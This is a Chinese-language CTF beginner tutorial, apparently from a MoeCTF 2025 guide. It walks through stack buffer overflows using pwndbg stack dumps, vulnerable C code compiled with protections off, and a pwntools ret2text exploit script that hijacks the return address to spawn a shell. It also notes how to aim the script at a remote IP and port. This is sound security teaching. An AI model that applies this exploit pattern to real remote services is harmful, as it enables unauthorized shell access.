在 IDA 中我们观察到，buf  和 flag  相对于 rbp  的位置是

当执行到 gets  函数的时候，我们通过 tele  指令查看一下 rbp-0x10  处的内容

能看到，此时 rbp-0x10  处的 buf  的内容是 0x1000，而 rbp-8  处的 flag  的内容是 

0x401110。接下来我们再次 ni，执行 gets  函数，并输入16个 a，观察溢出的8个 a 的去向

此时发现，不仅 rbp-0x10  处被 a 覆盖掉了，rbp-8  处的 flag  也被多余出来的8个 a 覆盖
掉了，这便是发生了溢出，并且是从低地址 0x7fff6433f640  向高地址 0x7fff6433f648，
如若我们将后8个 a 更改为 YourFlag，便能将 flag  的内容填充为 YourFlag，程序最终成
功执行 getflag  函数。

char buf[8]; // [rsp+0h] [rbp-10h] BYREF

char flag[8]; // [rsp+8h] [rbp-8h] BYREF

pwndbg> tele rbp-0x10

00:0000│ rdi rsp 0x7fff6433f640 ◂— 0x1000

01:0008│-008     0x7fff6433f648 —▸ 0x401110 (_start) ◂— endbr64

02:0010│ rbp     0x7fff6433f650 ◂— 1

03:0018│+008     0x7fff6433f658 —▸ 0x7c6f6ce29d90 

(__libc_start_call_main+128) ◂— mov edi, eax

04:0020│+010     0x7fff6433f660 ◂— 0

05:0028│+018     0x7fff6433f668 —▸ 0x40125b (main) ◂— endbr64

06:0030│+020     0x7fff6433f670 ◂— 0x16433f750

pwndbg> tele rbp-0x10

00:0000│ rax rsp 0x7fff6433f640 ◂— 'aaaaaaaaaaaaaaaa'

01:0008│-008     0x7fff6433f648 ◂— 'aaaaaaaa'

02:0010│ rbp     0x7fff6433f650 ◂— 0

03:0018│+008     0x7fff6433f658 —▸ 0x7c6f6ce29d90 

(__libc_start_call_main+128) ◂— mov edi, eax

04:0020│+010     0x7fff6433f660 ◂— 0

05:0028│+018     0x7fff6433f668 —▸ 0x40125b (main) ◂— endbr64

06:0030│+020     0x7fff6433f670 ◂— 0x16433f750



我们通过 run  命令，重新执行该程序，再试一次

此时便成功获得了 flag。

一个简单的 ret2text  

接下来是一个简单的 ret2text  实例。在该实例中，将进一步了解栈缓冲区溢出的威力，以
及 pwntools 的用法。

环境：x86_64 GNU/Linux

pwndbg> run

Starting program: /mnt/d/pwn/ctf/dasctf/mini/pwn

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-

gnu/libthread_db.so.1".

Now input something! Maybe I can give you a flag!

aaaaaaaaYourFlag

flag{Congratulations You get your first flag!}

I know u can do this!

// File: pwn.c

#include <stdio.h>

#include <stdlib.h>

void backdoor() { system("/bin/sh"); }

int main(void) {

  char name[0x10];

  puts("What's your name?");

  gets(name);

  printf("Hello, %s!\n", name);

  return 0;

}
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通过以下命令进行编译（$  仅为提示符，实际不输入），强制启用 char *gets(char *)  并
关闭一些保护机制。

接下来，我们假设这个程序文件在网上公开下载，假设这个程序在一台服务器上运行，已经
暴露在网络中，提供给远程计算机进行交互。现在我们来攻击它。😈

攻击  

1. 用 checksec  检查保护机制  

我们是攻击者，已经得到了这个程序文件（就是刚才编译的结果）。在程序所在目录执行

，输出（部分略）：

。可以看到栈缓冲区溢出保护（Stack Canary）和位置无关程序（PIE）保护已关闭。

2. 用 IDA 反汇编反编译挖掘漏洞  

将程序拖入 IDA 中加载（你可能需要将程序文件从虚拟机中移到主机中，这里不赘述），找
到 main  函数，按 F5 反编译显然可得该程序使用一个不会检查输入与缓冲区长度的 gets  

函数读入字符串，我们因此可以进行无限长栈缓冲区溢出。同时我们看到 backdoor  函数会
启用一个 shell，这正是我们想要的。由于没有启用 PIE，于是只需将控制流劫持到此处
（静态地址）即可。记下 backdoor  函数地址。

主函数结束方式为正常 return，此时程序执行流会跳转到先前调用主函数时保存在栈中的
返回地址所指向的位置。但是由于栈向低地址扩展（反向），而字符串写入由低地址向高地
址（正向），且程序执行时先保存返回地址再开辟用于存储栈上字符串的空间，所以返回地
址位于读入字符串的高地址处且可因字符串溢出而被修改。gets(char *)  在读入字符串时
不会检查长度，可以任意长度溢出。因此只需覆盖返回地址至 backdoor  即可。别忘了调用
栈上返回地址前还保存了栈指针，虽然对解题无影响，但因此需要多输入覆盖 8 个字节。

$ gcc --ansi -no-pie -fno-stack-protector pwn.c -o pwn

$ checksec --file=pwn

RELRO           STACK CANARY      NX            PIE

Partial RELRO   No canary found   NX enabled    No PIE
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由于编译器会倾向将栈上变量地址 16 字节对齐（地址能被 16 整除），所以栈上最高地址
（最后一个）变量的末尾可能不紧贴暂存的 rbp。不能通过变量的“大小”直接判定其与栈
底的偏移，做题时可以通过反编译结果中变量旁的注释查看栈上变量的准确位置。

3. 用 GDB + pwndbg 调试  

在程序所在目录执行（pwndbg>  仅为提示符，实际不输入）

，触发断点。观察 [ STACK ]  一栏，可以看到当前的程序调用栈（注意 GDB 中地址空间随
机化默认不启用，但对于本题无影响）：

（其中 —▸  和 ◂—  都可理解为 C 语言中的指针解引用，0x7fxxxx  为栈地址，未实际存
储。）

rsp + 0x00：当前栈顶。存放 gets  函数的返回地址。（不重要，无法控制）

rsp + 0x08：存放 name  前半。第 1 个参数（rdi  所指），即源码中 name。用户输
入自此读入。

rsp + 0x10：存放 name  后半。此时仍有“垃圾”数据。

rsp + 0x18：存放 __libc_start_call_main  函数（main  的调用方）的调用栈帧
基址（rbp）。

rsp + 0x20：存放 main  函数返回地址。

$ gdb ./pwn

pwndbg> b gets

pwndbg> r

00:0000│ rsp     0x7fffffffd4a8 —▸ 0x40118f (main+35) ◂— lea rax, 

[rbp - 10h]

01:0008│ rax rdi 0x7fffffffd4b0 ◂— 0x0

02:0010│-008     0x7fffffffd4b8 —▸ 0x7fffffffd5e8 —▸ 0x7fffffffda83

03:0018│ rbp     0x7fffffffd4c0 —▸ 0x7fffffffd560 —▸ 0x7fffffffd5c0 

◂— 0x0

04:0020│+008     0x7fffffffd4c8 —▸ 0x7ffff7da7e08 

(__libc_start_call_main+120) ◂— mov edi, eax

...
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4. 用 Python + pwntools 编写利用脚本  

在程序所在目录编写 Python 脚本

。在程序所在目录执行

，成功 getshell。🎉

实际上你需要用 io = connect('<IP>', <端口>)  替换 io = process('./pwn')  以攻击远
程环境（相当于 nc  连接）。

Note

backdoor_address += 1  是个啥？  

你可以试着去掉这行再运行看看，程序运行时触发 SIGSEGV（段错误）。这是 Pwn 初
学者必踩一次的坑。用 GDB 调试运行（pwntools gdb  模块能帮到你），程序在 

system  函数中这个指令处崩溃：

# File: pwnit.py

from pwn import *                 # pwntools

io = process('./pwn')             # 启动程序
backdoor_address = ...            # 刚才获得的 `backdoor` 地址
backdoor_address += 1             # 施法
payload  = cyclic(0x10)           # 填满 `name`
payload += cyclic(0x8)            # 填满暂存的 `rbp`
payload += p64(backdoor_address)  # 篡改返回地址
io.sendlineafter(b'?\n', payload) # 待输出至 `?\n` 后输入 payload
io.interactive()                  # 收获成果

$ python pwnit.py

movaps xmmword ptr [rsp + 0x50], xmm0
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其实是 movaps  指令要求目标地址（此处为 rsp + 0x50）16 字节对齐（尾数为 0）
导致的。通过将劫持的地址 +1，跳过 backdoor  中的 push rbp（该指令机器码长度 1 

字节）从而使 rsp  16 字节对齐。

类似的解决方案是在 ROP 调用链中插入一个空 gadget（仅 ret），使 rsp  16 字节对
齐。

总结  

感谢你认真读到这里，Pwn 真的是一个很难入门的方向，冗长的前置知识，漫长的打基
础，往往会劝退很多同学，但请相信，你的努力不会白费，历尽千帆，你终将成为大佬！为
了防止我们的新同学们被劝退，我们在指北中添加了很多文章、课程、以及常见入门会遇到
的坑，希望最终大家可以成功入门，成为一名新的 Pwner，水平有限，如若有错误望请指
正，如若遇到其他的问题，XDSEC 的大家都是很愿意解答的，请不要害羞，大胆提问。最
后，感谢所有 MoeCTF 2025 的贡献者，希望 MoeCTF 可以带领大家走进 CTF 的世界！😉
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